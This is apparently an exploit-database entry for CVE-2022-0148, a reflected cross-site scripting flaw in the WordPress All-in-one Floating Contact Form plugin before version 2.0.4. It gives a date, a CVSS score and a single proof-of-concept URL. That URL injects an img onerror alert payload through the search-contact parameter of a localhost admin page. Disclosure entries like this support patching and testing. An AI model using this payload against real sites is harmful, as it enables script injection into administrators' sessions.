Exploit for All-in-one Floating Contact Form < 2.0.4 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2022-0148

Name: Exploit for All-in-one Floating Contact Form < 2.0.4 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2022-0148
Rating: 5 (142 reviews)

2022-01-10 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:37665EE1-C57F-4445-9596-DF4F7D72C8CD
http://127.0.0.1:8001/wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%281%29+x